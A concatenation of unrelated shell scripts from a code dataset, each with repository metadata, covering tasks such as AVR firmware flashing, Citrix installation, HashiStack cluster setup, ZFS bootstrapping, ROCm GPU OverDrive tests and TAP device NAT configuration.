echo 7 > /sys/kernel/debug/omap_mux/uart0_ctsn && # MOSI
echo 3f > /sys/kernel/debug/omap_mux/uart0_rtsn && # MISO
echo 7 > /sys/kernel/debug/omap_mux/mii1_col && # SCK
echo 7 > /sys/kernel/debug/omap_mux/mcasp0_ahclkr
fi &&
if ! test -e /sys/class/gpio/gpio113/direction; then
echo 113 > /sys/class/gpio/export
fi &&
echo out > /sys/class/gpio/gpio113/direction &&
echo 0 > /sys/class/gpio/gpio113/value &&
${AVR_DUDE_BIN:-/usr/bin/avrdude} \
-p atmega328 \
-c ledmatrix \
-P ledmatrix \
-v \
-U flash:w:matrix_driver.hex \
-U lfuse:w:0xaf:m \
-U hfuse:w:0xd9:m \
-F \
${AVR_CONFIG_OVERRIDE}
rc=$?
echo in > /sys/class/gpio/gpio113/direction &&
echo 113 > /sys/class/gpio/unexport &&
if test -e /sys/kernel/debug/omap_mux/mcasp0_ahclkr; then
#not required for 3.12 kernel
echo 3f > /sys/kernel/debug/omap_mux/mcasp0_ahclkr # nCS
fi
postrc=$?
$SKIP_SERVICE_CONTROL || start sphere-leds || true
$SKIP_SERVICE_CONTROL || start devkit-status-led || true
test $rc -eq 0 && test $postrc -eq 0
| true |
c1ca9a9c0d9bc8067bbbbb7cb1471bb63a5977a2 | Shell | lgnis/ubuntu.citrix.workspace | /ubuntu.citrix.workspace.sh | UTF-8 | 1,468 | 3.21875 | 3 | [] | no_license | #!/bin/sh
#Instala la aplicación Citrix Workspace para distribuciones Linux basadas en Ubuntu/Debian
cd
cd Descargas
clear
#Descarga el cliente desde https://www.citrix.com/es-es/downloads/workspace-app/linux/workspace-app-for-linux-latest.html
#Seleccionar Debian packages -> Full packages -> .deb para (32bit)=x86 o para (64bit)=x86_64
#Dejar el archivo descargado en Downloads o Descargas
#Descarga el certificado
openssl s_client -showcerts -connect ev.seg-social.es:443 </dev/null 2>/dev/null|openssl x509 -outform PEM >ev-seg-social-es.cer
#Cambia los permisos del certificado
sudo chmod 644 ev-seg-social-es.cer
#Movemos el certificado a /etc/ssl/certs
sudo mv ev-seg-social-es.cer /etc/ssl/certs
#Cambiar al directorio donde se ha descargado la aplicación de Citrix Workspace para Linux
#Instalamos la aplicación Citrix Workspace para Linux
sudo apt-get install ./icaclient_20.9.0.15_amd64.deb
#Cambiar al directorio donde Citrix instala los certificados
cd /opt/Citrix/ICAClient/keystore/
#Borramos los certificados que instala Citrix por defecto
sudo rm -rf cacerts
#Creamos un enlace simbólico a los certificados que tiene Ubuntu/Debian
sudo ln -s /etc/ssl/certs cacerts
cd ..
#Cambiamos al directorio Util de Citrix
cd util
#Hacemos un rehash a los certificados del directorio
sudo ./ctx_rehash
#Entramos a la configuración de la aplicación Citrix
./configmgr &
#Aceptar la licencia y configurar la aplicación. Luego pulsar en "Guardar y cerrar"
| true |
7903b944be21f40ea07ea7cf730f90d3c099342e | Shell | roooms/terraform-hashistack | /init-cluster.tpl | UTF-8 | 2,236 | 3.234375 | 3 | [] | no_license | #!/bin/bash
instance_id="$(curl -s http://169.254.169.254/latest/meta-data/instance-id)"
local_ipv4="$(curl -s http://169.254.169.254/latest/meta-data/local-ipv4)"
new_hostname="hashistack-$${instance_id}"
# stop consul and nomad so they can be configured correctly
systemctl stop nomad
systemctl stop vault
systemctl stop consul
# clear the consul and nomad data directory ready for a fresh start
rm -rf /opt/consul/data/*
rm -rf /opt/nomad/data/*
rm -rf /opt/vault/data/*
# set the hostname (before starting consul and nomad)
hostnamectl set-hostname "$${new_hostname}"
# seeing failed nodes listed in consul members with their solo config
# try a 2 min sleep to see if it helps with all instances wiping data
# in a similar time window
sleep 120
# add the consul group to the config with jq
jq ".retry_join_ec2 += {\"tag_key\": \"Environment-Name\", \"tag_value\": \"${environment_name}\"}" < /etc/consul.d/consul-default.json > /tmp/consul-default.json.tmp
sed -i -e "s/127.0.0.1/$${local_ipv4}/" /tmp/consul-default.json.tmp
mv /tmp/consul-default.json.tmp /etc/consul.d/consul-default.json
chown consul:consul /etc/consul.d/consul-default.json
# add the cluster instance count to the config with jq
jq ".bootstrap_expect = ${cluster_size}" < /etc/consul.d/consul-server.json > /tmp/consul-server.json.tmp
mv /tmp/consul-server.json.tmp /etc/consul.d/consul-server.json
chown consul:consul /etc/consul.d/consul-server.json
# start consul once it is configured correctly
systemctl start consul
# configure nomad to listen on private ip address for rpc and serf
echo "advertise {
http = \"127.0.0.1\"
rpc = \"$${local_ipv4}\"
serf = \"$${local_ipv4}\"
}" | tee -a /etc/nomad.d/nomad-default.hcl
# add the cluster instance count to the nomad server config
sed -e "s/bootstrap_expect = 1/bootstrap_expect = ${cluster_size}/g" /etc/nomad.d/nomad-server.hcl > /tmp/nomad-server.hcl.tmp
mv /tmp/nomad-server.hcl.tmp /etc/nomad.d/nomad-server.hcl
# start nomad once it is configured correctly
systemctl start nomad
# currently no additional configuration required for vault
# todo: support TLS in hashistack and pass in {vault_use_tls} once available
# start vault once it is configured correctly
systemctl start vault
| true |
7c989cc7bde558196c5f573b6daa3784d0cf1805 | Shell | CSLDepend/HTPerf | /zk-smoketest/plot_latencies.sh | UTF-8 | 941 | 3.265625 | 3 | [] | no_license | #!/bin/bash
#
# usage ./get_latencies.sh num_of_run
if [ $# -eq 0 ]
then
echo "Please provide the number of runs!"
fi
NRUNS=$1
SUFFIX='_delay5ms_'
#SUFFIX=''
echo "Ploting async..."
./parse_kvm_event.py -o rate_async_log${SUFFIX}.pdf -m 1 -M $NRUNS --latency_unit='sec' --log_scale latency_async${SUFFIX}
./parse_kvm_event.py -o rate_async${SUFFIX}.pdf -m 1 -M $NRUNS --latency_unit='sec' --ylim_top=50000 latency_async${SUFFIX}
for i in $(seq 1 $NRUNS); do
./plot_event_flows.py -o '_async'${SUFFIX}${i} -r 10 latency_async${SUFFIX}${i}
done
echo "Ploting sync..."
./parse_kvm_event.py -o rate_sync_log${SUFFIX}.pdf -m 1 -M $NRUNS --latency_unit='sec' --log_scale latency_sync${SUFFIX}
./parse_kvm_event.py -o rate_sync${SUFFIX}.pdf -m 1 -M $NRUNS --latency_unit='sec' --ylim_top=50000 latency_sync${SUFFIX}
for i in $(seq 1 $NRUNS); do
./plot_event_flows.py -o '_sync'${SUFFIX}${i} -r 10 latency_sync${SUFFIX}${i}
done
| true |
e3d2862e51677f812c6fc58c7b8c4fb6e977181c | Shell | overo/overo-oe-natty | /recipes/gcc/gcc-3.3.3/arm-common.dpatch | UTF-8 | 1,481 | 3.265625 | 3 | [
"MIT"
] | permissive | #! /bin/sh -e
src=gcc
if [ $# -eq 3 -a "$2" = '-d' ]; then
pdir="-d $3"
src=$3/gcc
elif [ $# -ne 1 ]; then
echo >&2 "`basename $0`: script expects -patch|-unpatch as argument"
exit 1
fi
case "$1" in
-patch)
patch $pdir -f --no-backup-if-mismatch -p0 --fuzz 10 < $0
;;
-unpatch)
patch $pdir -f --no-backup-if-mismatch -R -p0 --fuzz 10 < $0
;;
*)
echo >&2 "`basename $0`: script expects -patch|-unpatch as argument"
exit 1
esac
exit 0
# DP: delete ASM_OUTPUT_ALIGNED_COMMON from arm/elf.h, since it outputs
# DP: the alignment in bits not bytes.
Index: gcc/config/arm/elf.h
===================================================================
RCS file: /cvs/gcc/gcc/gcc/config/arm/elf.h,v
retrieving revision 1.39
diff -u -r1.39 elf.h
--- gcc/config/arm/elf.h 21 Nov 2002 21:29:24 -0000 1.39
+++ gcc/config/arm/elf.h 20 Sep 2003 14:22:46 -0000
@@ -152,16 +152,6 @@
#undef TARGET_ASM_NAMED_SECTION
#define TARGET_ASM_NAMED_SECTION arm_elf_asm_named_section
-#undef ASM_OUTPUT_ALIGNED_COMMON
-#define ASM_OUTPUT_ALIGNED_COMMON(STREAM, NAME, SIZE, ALIGN) \
- do \
- { \
- fprintf (STREAM, "\t.comm\t"); \
- assemble_name (STREAM, NAME); \
- fprintf (STREAM, ", %d, %d\n", SIZE, ALIGN); \
- } \
- while (0)
-
/* For PIC code we need to explicitly specify (PLT) and (GOT) relocs. */
#define NEED_PLT_RELOC flag_pic
#define NEED_GOT_RELOC flag_pic
| true |
e1960afc126622b193b05d86130191ad5e226394 | Shell | danielkza/zfs-scripts | /post_debootstrap.sh | UTF-8 | 2,154 | 4.125 | 4 | [] | no_license | #!/bin/bash
set -e
APT_GET_INSTALL='apt-get install -y --no-install-suggests'
err()
{
echo 'Error:' "$@" >&2
}
###
src_dir=$(readlink -f "$(dirname "${BASH_SOURCE[0]}")")
zfs_prereqs="${src_dir}/zfs_prerequisites.sh"
if ! [[ -x "$zfs_prereqs" ]]; then
err "Missing prerequisites script"
exit 1
fi
os_codename=$(lsb_release -s -c)
case "$os_codename" in
wheezy|jessie) debian=1 ;;
trusty) ubuntu=1 ;;
*)
err "Unknown OS codename '${os_codename}'"
exit 1
esac
print_help()
{
program=$(basename "$0")
echo "Usage: ${program} [pool_name]" >&2
}
if [[ "$1" == -h* ]]; then
print_help
exit 1
fi
pool_name="$1"
###
old_hostname=$(hostname)
hostname "$(cat /etc/hostname)"
trap "hostname '${old_hostname}'" EXIT
###
mkdir -p /boot
(mount | grep -q '/boot ') || mount /boot
mkdir -p /boot/efi
(mount | grep -q '/boot/efi ') || mount /boot/efi
[[ -n "$LANG" ]] || export LANG=en_US.UTF-8
export DEBIAN_FRONTEND=noninteractive
apt-get update
$APT_GET_INSTALL -y locales
if (( ubuntu )); then
locale-gen en_US.UTF-8
else
locale-gen
fi
if [[ "$os_codename" == "wheezy" ]]; then
# Install kernels before ZFS so module is correctly built
$APT_GET_INSTALL linux-{image,headers}-amd64
# Needed by 3.14
$APT_GET_INSTALL perl-modules
$APT_GET_INSTALL -t wheezy-backports linux-{image,headers}-amd64
fi
if ! "$zfs_prereqs"; then
echo "ZFS prereqs failed"
exit 1
fi
# Autodetect pool if needed
if [[ -z "$pool_name" ]]; then
zpool list -H -o name 2>/dev/null | read -ra zpools
if (( ${#zpools[@]} > 1 )); then
err "more than one zpool mounted, specify which to use manually" >&2
exit 1
fi
pool_name="${zpools[0]}"
fi
# Install GRUB
$APT_GET_INSTALL grub-efi-amd64 zfs-initramfs
# Make sure mdadm configuration is used
if [[ -f /etc/mdadm/mdadm.conf && -f /var/lib/mdadm/CONF-UNCHECKED ]]; then
rm -f /var/lib/mdadm/CONF-UNCHECKED
fi
# GRUB
grub-install --target=x86_64-efi --efi-directory=/boot/efi
update-grub
# Install base packages
$APT_GET_INSTALL tasksel
for task in standard ssh-server; do
tasksel install "$task"
done
| true |
340bc952b803354bda0d06df623483c0da584b2e | Shell | MushroomObserver/mushroom-observer | /script/retransfer_images | UTF-8 | 1,131 | 4.0625 | 4 | [
"LicenseRef-scancode-unknown-license-reference",
"MIT"
] | permissive | #!/usr/bin/env bash
#
# Re-transfer any images that haven't transferred correctly yet.
#
################################################################################
set -e
source $(dirname "$0")/bash_include
source $(dirname "$0")/bash_images
if [[ $1 == "-h" || $1 == "--help" ]]; then cat <<END; exit 1; fi
USAGE
script/retransfer_images
DESCRIPTION
This is used by the webserver to try to re-transfer images which failed to
transfer when script/process_image ran. It sets the "transferred" bit in
the images database table if successful. It aborts at the first sign of
any trouble.
END
ids=$( run_mysql "SELECT id FROM images WHERE transferred=FALSE" )
for id in $ids; do
for subdir in thumb 320 640 960 1280 orig; do
for file in $(cd $image_root && ls $subdir/$id.* 2> /dev/null); do
for server in ${image_servers[@]}; do
if image_server_has_subdir $server $subdir; then
copy_file_to_server $server $file
fi
done
done
done
run_mysql "UPDATE images SET transferred=TRUE WHERE id=$id" || \
die "Failed to set transferred bit on $id."
done
exit 0
| true |
2c7bfe43f914ce0dda4567a42be7a939d9298c2c | Shell | krispayne/Jamf-Extension-Attributes | /EA - Display_Serial_Number.bash | UTF-8 | 181 | 2.65625 | 3 | [] | no_license | #!/bin/bash
# Get the plugged in display's serial number
DSN=$(system_profiler SPDisplaysDataType | grep "Display Serial Number" | awk '{print $4}')
echo "<result>${DSN}</result>"
| true |
eb994d9498ebc01c298539e066dc4d8052f04002 | Shell | nrim/AdventOfCode2020 | /day3/day3_2.sh | UTF-8 | 1,177 | 3.625 | 4 | [] | no_license | input=($(<input.txt))
length=${#input[@]}
trees=0
# arrays for the slopes
x_array=(1 3 5 7 1)
y_array=(1 1 1 1 2)
# loop through each slope
for i in "${!x_array[@]}"; do
x_position=0
x_slope=${x_array[i]}
y_slope=${y_array[i]}
slope_trees=0
echo "Slope: $x_slope $y_slope"
# loop through the input file
for y_position in "${!input[@]}"; do
# skip line(s) in input based on the y_slope
if [ $((y_position%y_slope)) -eq 0 ]; then
line=${input[y_position]}
width=${#line}
x_position=$((x_position+x_slope))
nextline=${input[y_position+y_slope]}
#handle repeating landscape by reseting x
if (( x_position > width-1 )); then
x_position=$((x_position-width))
fi
if [ "$nextline" ]; then
next=${nextline:x_position:1}
if [ $next = "#" ]; then
slope_trees=$((slope_trees+1))
fi
fi
fi
done
echo "Slope_trees for $x_slope and $y_slope: $slope_trees"
if [ "$trees" == 0 ]; then
echo "set trees to slope_trees"
trees=$slope_trees
else
echo "multiple trees and slope_trees"
trees=$((trees*slope_trees))
fi
done
echo "Trees: $trees" | true |
b02076a42166112b02d1166f4eef8fad30e0c7cc | Shell | ryanwoodsmall/oldsysv | /sysvr4/svr4/cmd/oamintf/files/bin/getchois.sh | UTF-8 | 786 | 3.171875 | 3 | [] | no_license | # Copyright (c) 1990 UNIX System Laboratories, Inc.
# Copyright (c) 1984, 1986, 1987, 1988, 1989, 1990 AT&T
# All Rights Reserved
# THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF
# UNIX System Laboratories, Inc.
# The copyright notice above does not evidence any
# actual or intended publication of such source code.
#ident "@(#)oamintf:files/bin/getchois.sh 1.2"
if [ $# = 1 ]
then
dev=$1
else
dev=cdevice
fi
for des in `/usr/sadm/sysadm/bin/dev $dev`;
do
nam=`echo "$des" | sed 's/^.*dsk\///'`
chr=`echo "$nam" | sed 's/^\(.\).*/\1/'`
if [ "$chr" = "f" ]
then
echo "$des\072\c"; devattr $des alias
else
slice=`echo "$nam" | sed 's/^.*s//'`
device=`echo "$nam" | sed 's/s.*/s0/'`
desc="`devattr /dev/rdsk/"$device" alias` slice $slice"
echo "$des\072$desc"
fi
done
| true |
502f2183b57cc80931417ac093b9d4e44274de3e | Shell | SteveHawk/suda-wg | /logout1.sh | UTF-8 | 904 | 3.171875 | 3 | [] | no_license | #!/bin/bash
# --------------------------------------
# auto logout for wg.suda.edu.cn
# ---------------------------------------
function urlencode()
{
s="$1"
tmp=''
for (( i = 0 ; i < ${#s} ; i++ ))
do
ch=${s:$i:1}
case "$ch"
in [a-zA-Z0-9]) tmp="$tmp""$ch";;
* ) tmp="$tmp""%""$(printf "%x" \'$ch)"
esac
done
echo $tmp;
}
username=""
password=""
url=http://wg.suda.edu.cn/indexn.aspx
html=$(curl $url)
s=${html#*value=\"}
VIEWSTATE=${s%%\"*}
s=${s#*value=\"}
EVENTVALIDATION=${s%%\"*}
VIEWSTATE=$(urlencode $VIEWSTATE)
EVENTVALIDATION=$(urlencode $EVENTVALIDATION)
#logout
html=$(curl $url -H 'Content-Type: application/x-www-form-urlencoded' --data "__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=""$VIEWSTATE""&__EVENTVALIDATION=""$EVENTVALIDATION""&TextBox1=""$username""&TextBox2=""$password""&nw=RadioButton2&tm=RadioButton8&Button4=%e9%80%80%e5%87%ba%e7%bd%91%e5%85%b3")
#echo $html
| true |
cc19ced840e966b7b19f028d6d41a75bbe6122a7 | Shell | nelsestu/thing-expert | /device/host/files/attach.sh.template | UTF-8 | 301 | 3.421875 | 3 | [
"MIT"
] | permissive | #!/bin/bash
set -e
container=$(docker ps --format '{{.ID}}' --filter ancestor={{image_id}} | head -n1)
if [ -z "${container}" ]; then
>&2 echo "Container not running for {{app_name}}:{{image_id}}"
exit 1
fi
docker container exec \
-it \
${container} \
/bin/bash | true |
6ba1375b2e9a2a8bc7a55ef7727e9c41602bad1d | Shell | JoanStar/dotfiles | /.bashrc | UTF-8 | 934 | 3.34375 | 3 | [
"MIT"
] | permissive |
# -----------------------------------------------------------------------
# find current git branch
# -----------------------------------------------------------------------
function parse_git_branch {
git branch --no-color 2> /dev/null | sed -e '/^[^*]/d' -e 's/* \(.*\)/(\1)/'
}
# -----------------------------------------------------------------------
# set PS1
# -----------------------------------------------------------------------
if [ "$color_prompt" = yes ]; then
#PS1='${debian_chroot:+($debian_chroot)}\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '
PS1='${debian_chroot:+($debian_chroot)}[$(date +%H:%M)]\[\033[00;33m\][\u@\h] \[\033[01;31m\]\W\[\033[00;37m\] $(parse_git_branch) \$ '
else
PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ '
fi
unset color_prompt force_color_prompt
# some more ls aliases
alias ll='ls -halF'
alias la='ls -A'
alias l='ls -CF'
alias clang=clang-3.5
| true |
04cb1ce9bd513cd7e045ff1dcf1afff09a60dc4d | Shell | eberdahl/Synth-A-Modeler | /gui/Libs/get_and_compile_re2.sh | UTF-8 | 881 | 3.53125 | 4 | [] | no_license | #! /bin/sh
os=${OSTYPE//[0-9.]/}
echo "OS Type: $os"
if [[ $os == "darwin" ]]; then
script=`perl -e 'use Cwd "abs_path";print abs_path(shift)' $0`
scriptpath=`dirname $script`
else
script=`readlink -f $0`
scriptpath=`dirname $script`
fi
re2_url="https://re2.googlecode.com/files/re2-20121127.tgz"
re2_archive="re2-20121127.tgz"
# download re2
cd $scriptpath
if [[ $os == "darwin" ]]; then
curl -L $re2_url -o $re2_archive
else
wget $re2_url -O $re2_archive
fi
tar -xvzf $re2_archive
rm $re2_archive
# compile
cd re2
if [[ $os == "darwin" ]]; then
num_jobs=`/usr/sbin/system_profiler -detailLevel full SPHardwareDataType | awk '/Total Number [Oo]f Cores/ {print $5};'`
make -e CXXFLAGS="-Wall -O3 -g -pthread -arch i386" -e LDFLAGS="-pthread -arch i386" -j$num_jobs
else
num_jobs=`grep -c 'model name' /proc/cpuinfo`
make -j$num_jobs
fi
| true |
2e2f818d5190a0c46daa6712eb9bc2eed8e2d57d | Shell | mishin/perl-vim-presentation | /setup.bash | UTF-8 | 904 | 3.59375 | 4 | [
"MIT",
"LicenseRef-scancode-other-permissive"
] | permissive | #!/bin/bash
root=$(dirname "$BASH_SOURCE")
cwd=`pwd`
cd $root
which git 2>&1 1>/dev/null
if [[ $? -ne 0 ]]; then
echo "You don't have git installed, and I need that!"
echo "You can't clone any dependencies for this project without git."
if [[ "$0" == "$BASH_SOURCE" ]]; then
exit 1
fi
else
echo "Trying to make sure all git submodules are cloned..."
git submodule init 1>/dev/null
git submodule update 1>/dev/null
if [[ $? -ne 0 ]]; then
echo -n "Failed to clone the necessary repositories, please try "
echo "again later"
if [[ "$0" == "$BASH_SOURCE" ]]; then
exit 1
fi
else
echo "All cloned!"
echo ""
echo "Trying to install necessary vim modules..."
vim -u .vimrc +BundleInstall +qall
if [[ "$0" == "$BASH_SOURCE" ]]; then
exit 0
fi
fi
fi
| true |
87ba26e21b9a6cbfcfab02d7dd504b62edca2915 | Shell | statesman/tx-school-data | /tasks/push_data.sh | UTF-8 | 568 | 2.984375 | 3 | [] | no_license | #!/bin/bash
# Move to the data directory
cd public/assets/data/
# Determine where to push
if [ "$1" == 'stage' ]; then
bucket='dev.apps.statesman.com'
elif [ "$1" == 'prod' ]; then
bucket='apps.statesman.com'
else
echo 'Specify stage or prod';
cd ../../../
exit 1
fi
# Run the push s3-parallel-put command with $bucket variable
../../../s3-parallel-put/s3-parallel-put --bucket=$bucket \
--bucket_region=us-west-2 --prefix=news/tx-school-accountability-ratings/assets/data/ \
--header="Cache-control:max-age=20" --insecure --grant=public-read .
| true |
f1e27846cfd76950cbc9abd328e80076c5408e83 | Shell | jedbrown/ROC-smi | /tests/test-overdrive.sh | UTF-8 | 2,146 | 3.828125 | 4 | [
"MIT"
] | permissive | #!/bin/bash
# Test that the current OverDrive Level reported by the SMI matches the current
# OverDrive Level of the corresponding device(s)
# param smiPath Path to the SMI
testGetGpuOverDrive() {
local smiPath="$1"; shift;
local smiDev="$1"; shift;
local smiCmd="-o"
echo -e "\nTesting $smiPath $smiDev $smiCmd..."
local perfs="$($smiPath $smiDev $smiCmd)"
IFS=$'\n'
for line in $perfs; do
if [ "$(checkLogLine $line)" != "true" ]; then
continue
fi
local rocmOd="$(extractRocmValue $line)"
local sysOd="$(cat $DRM_PREFIX/card${smiDev:3}/device/pp_sclk_od)%"
if [ "$sysOd" != "$rocmOd" ]; then
echo "FAILURE: OverDrive level from $SMI_NAME $rocmOd does not match $sysOd"
NUM_FAILURES=$(($NUM_FAILURES+1))
fi
done
echo -e "Test complete: $smiPath $smiDev $smiCmd\n"
return 0
}
# Test that the setting the OverDrive Level through the SMI changes the current
# OverDrive Level of the corresponding device(s), and sets the current GPU Clock level
# to level 7 to use this new value
# param smiPath Path to the SMI
testSetGpuOverDrive() {
local smiPath="$1"; shift;
local smiDev="$1"; shift;
local smiCmd="--setoverdrive"
echo -e "\nTesting $smiPath $smiDev $smiCmd..."
if isApu; then
echo -e "Cannot test $smiCmd on an APU. Skipping test."
return
fi
local odPath="$DRM_PREFIX/card${smiDev:3}/device/pp_sclk_od"
local sysOdVolt=$(cat $DRM_PREFIX/card${smiDev:3}/device/pp_od_clk_voltage)
if [ -z "$sysOdVolt" ]; then
echo "OverDrive not supported. Skipping test."
return 0
fi
local currOd="$(cat $odPath)" # OverDrive level
local newOd="3"
if [ "$currOd" == "3" ]; then
local newOd="6"
fi
local od="$($smiPath $smiDev $smiCmd $newOd --autorespond YES)"
local newSysOd="$(cat $odPath)"
if [ "$newSysOd" != "$newOd" ]; then
echo "FAILURE: Could not set OverDrive Level"
NUM_FAILURES=$(($NUM_FAILURES+1))
fi
echo -e "Test complete: $smiPath $smiDev $smiCmd\n"
return 0
}
| true |
b0bf0d5f77734843e572d7c1ac1abd8ddbe41e63 | Shell | Zoreno/jstack | /setup_tap_device.sh | UTF-8 | 821 | 3.515625 | 4 | [] | no_license | #!/bin/bash -e
if [[ $UID != 0 ]]; then
echo "Please run this script with root permissions:"
echo "sudo $0 $*"
exit 1
fi
TAP_NODE=/dev/net/tap
# Create the TAP node.
mknod $TAP_NODE c 10 200
chmod 0666 $TAP_NODE
REAL_INTERFACE_NAME=ens33
TAP_INTERFACE_NAME=tap0
# Setup firewall to NAT the traffic on the TAP interface to the ordinary
# interface, allowing jstack applicatons to access the real world.
iptables -I INPUT --source 10.0.0.0/24 -j ACCEPT
iptables -t nat -I POSTROUTING --out-interface $REAL_INTERFACE_NAME -j MASQUERADE
iptables -I FORWARD \
--in-interface $REAL_INTERFACE_NAME \
--out-interface $TAP_INTERFACE_NAME \
-j ACCEPT
iptables -I FORWARD \
--in-interface $TAP_INTERFACE_NAME \
--out-interface $REAL_INTERFACE_NAME \
-j ACCEPT
| true |
6be778586502659ee8af080c5a9060724b1367bb | Shell | gefeng24/Openstack-Operation-Maintenance-Shells | /ip_change/update-galera.sh | UTF-8 | 1,166 | 2.515625 | 3 | [] | no_license | #!/bin/sh
vip='192.168.2.201'
vip=$virtual_ip
echo $vip
for i in 01 02 03 ;
do
ssh controller$i /bin/bash << EOF
openstack-config --set /etc/glance/glance-api.conf keystone_authtoken auth_uri http://$vip:5000
openstack-config --set /etc/glance/glance-api.conf keystone_authtoken auth_url http://$vip:35357
openstack-config --set /etc/glance/glance-api.conf DEFAULT registry_host $vip
openstack-config --set /etc/glance/glance-registry.conf database connection mysql+pymysql://glance:$password@$vip/glance
openstack-config --set /etc/glance/glance-registry.conf keystone_authtoken auth_uri http://$vip:5000
openstack-config --set /etc/glance/glance-registry.conf keystone_authtoken auth_url http://$vip:35357
openstack-config --set /etc/glance/glance-registry.conf DEFAULT registry_host $vip
openstack-config --set /etc/glance/glance-api.conf DEFAULT bind_host $(ip addr show dev $local_nic scope global | grep "inet " | sed -e 's#.*inet ##g' -e 's#/.*##g'|head -n 1)
openstack-config --set /etc/glance/glance-registry.conf DEFAULT bind_host $(ip addr show dev $local_nic scope global | grep "inet " | sed -e 's#.*inet ##g' -e 's#/.*##g'|head -n 1)
EOF
done
| true |
ec12e6395ed79f637f1d31c20f946c85a5c477e2 | Shell | alicevision/geogram | /tools/gallery.sh | UTF-8 | 1,865 | 3.59375 | 4 | [
"BSD-3-Clause"
] | permissive | #gallery.sh: generates webpages to visualize a collection of 3D models
#******************************************************************************
#usage: - create a directory with all the models in the "models" subdirectory
# - launch "gallery.sh" in that directory
#
# this will generate thumbnail images (in 'images'), a JavaScript viewer and the
# associated webpage for each model.
#******************************************************************************
SCRIPTDIR=`dirname "$0"`
JSDIR=$SCRIPTDIR/../build/Emscripten-clang-Release/bin/
mkdir -p viewer
cp $SCRIPTDIR/FileSaver.js viewer
cp $JSDIR/vorpaview.js viewer
cp $JSDIR/vorpaview.js.mem viewer
mkdir -p images
# Generate images
for i in `ls models`
do
$SCRIPTDIR/snapshot.sh models/$i
mv output.png images/$i.png
done
# Generate js embeddable datafiles
for i in `ls models`
do
(cd viewer; cp ../models/$i .; python $EMSCRIPTEN/tools/file_packager.py $i'_data.data' --preload $i > $i'_data.js'; rm $i)
done
# Generate viewer pages
for i in `ls models`
do
cat $SCRIPTDIR/template_emscripten.html | sed -e 's/%EXENAME%/'vorpaview'/g' \
-e 's|<!-- DATAFILE -->|<script async type="text/javascript" src="'$i'_data.js"></script>|g' \
> viewer/$i.html
done
# Generate index
> index.html
echo "<table>" >> index.html
#echo "<tr>" >> index.html
for i in `ls models`
do
echo "<tr>" >> index.html
echo "<td>" >> index.html
echo "<a href=\"viewer/$i.html\"> <img src=\"images/$i.png\"/> </a>" >> index.html
echo "</td>" >> index.html
echo "<td>" >> index.html
echo "<p><a href=\"viewer/$i.html\"> $i </a></p><br/>" >> index.html
echo "<p><a href=\"models/$i\"> [download datafile] </a></p><br/>" >> index.html
echo "</td>" >> index.html
echo "</tr>" >> index.html
done
#echo "</tr>" >> index.html
echo "</table>" >> index.html
| true |
e7a060f113d298ef45f455e4929b88fa121f2979 | Shell | geoffjay/dotfiles | /roles/dotfiles/files/.bash.d/44-gh | UTF-8 | 759 | 2.703125 | 3 | [] | no_license | # vim:filetype=sh
_cs_new() {
repo=$(git x-repo)
branch=$(git x-branch-current)
gh codespace create -r "$repo" -b "$current" -m "premiumLinux"
}
alias cs-new=_cs_new
_cs_fwd() {
repo=$(git x-repo)
branch=$(git x-branch-current)
codespace=$(gh codespace list --json name,repository,gitStatus --jq "$filter" | jq -r ".name")
gh codespace ports --codespace "$codespace" forward 2222:2222
}
alias cs-fwd=_cs_fwd
_cs_ssh() {
repo=$(git x-repo)
branch=$(git x-branch-current)
filter=".[] | select(.repository == \"$repo\" and .gitStatus.ref == \"$branch\")"
codespace=$(gh codespace list --json name,repository,gitStatus --jq "$filter" | jq -r ".name")
TERM=xterm-256color gh codespace ssh --codespace "$codespace"
}
alias cs-ssh=_cs_ssh
| true |
523aaedc29a0af42cb348ad0d73cb4cffb71aaf6 | Shell | Surferlul/quest-mod-template | /template/build.sh | UTF-8 | 304 | 2.859375 | 3 | [
"Unlicense"
] | permissive | #!/bin/sh
SCRIPT_DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" &> /dev/null && pwd )"
NDKPath=$(cat $SCRIPT_DIR/ndkpath.txt)
buildScript="$NDKPath/build/ndk-build"
$buildScript NDK_PROJECT_PATH=$SCRIPT_DIR APP_BUILD_SCRIPT=$SCRIPT_DIR/Android.mk NDK_APPLICATION_MK=$SCRIPT_DIR/Application.mk
exit $?
| true |
63024b5b4e71c7cdbc703e4116a7a4ef012d3543 | Shell | xiaoqiangcreate/inotifywait | /sh/Total_8_9_bak.sh | UTF-8 | 366 | 2.765625 | 3 | [] | no_license | #!/bin/bash
#dat=`date -d "1 day ago" +"%Y-%m"`
#tim=`date -d "1 day ago" +"%d"`
#dir=/var/spool/asterisk/monitor/mszx/$dat/
dir=/var/spool/asterisk/monitor/mszx/2020-08/
#ossdir=/opt/ossbak/hujiao/$dat
ossdir=/opt/ossbak/hujiao/2020-08/
cd $dir
if [ ! -d $ossdir ]
then
mkdir -p $ossdir
fi
/usr/bin/rsync -r -v -a $tim $ossdir/ >>/root/rsync.log 2>&1
| true |
26280768b64cbcc92ff3525772b8a33723cc7aa5 | Shell | cburmeister/dotfiles | /bin/bin/todo | UTF-8 | 305 | 3.78125 | 4 | [] | no_license | #!/bin/bash
#
# Find and open the nearest TODO file (or -g for the one in my homedir)
#
if [ "$1" = "-g" ]; then
tpath=$HOME
else
tpath=$(pwd)
while [[ "$tpath" != "" && ! -e "$tpath/TODO" ]]; do
tpath=${tpath%/*}
done
[ -z "$tpath" ] && tpath=$HOME
fi
$EDITOR "$tpath/TODO"
| true |
ca0d3d9ad98e51109f30aa7d1688959e3c8f5e20 | Shell | korseby/container-mtbls520 | /scripts/mtbls520_03_qc_preparations.sh | UTF-8 | 2,676 | 3.875 | 4 | [
"Apache-2.0"
] | permissive | #!/bin/bash
# Check parameters
if [[ $# -lt 3 ]]; then
echo "Error! Not enough arguments given."
echo "Usage: \$0 polarity a.txt s.txt"
exit 1
fi
# Input parameters
POLARITY="${1}"
POL="$(echo ${1} | cut -c 1-3)"
ISA_A="${2}"
ISA_S="${3}"
# Grab factors out of ISA-Tab
MZML_COLUMN=0; for ((i=1;i<=50;i++)); do MZML_COLUMN=$[${MZML_COLUMN}+1]; c="$(cat ${ISA_A} | head -n 1 | awk -F $'\t' "{ print \$${i} }")"; if [[ "${c}" == "\"Raw Spectral Data File\"" ]]; then break; fi; done
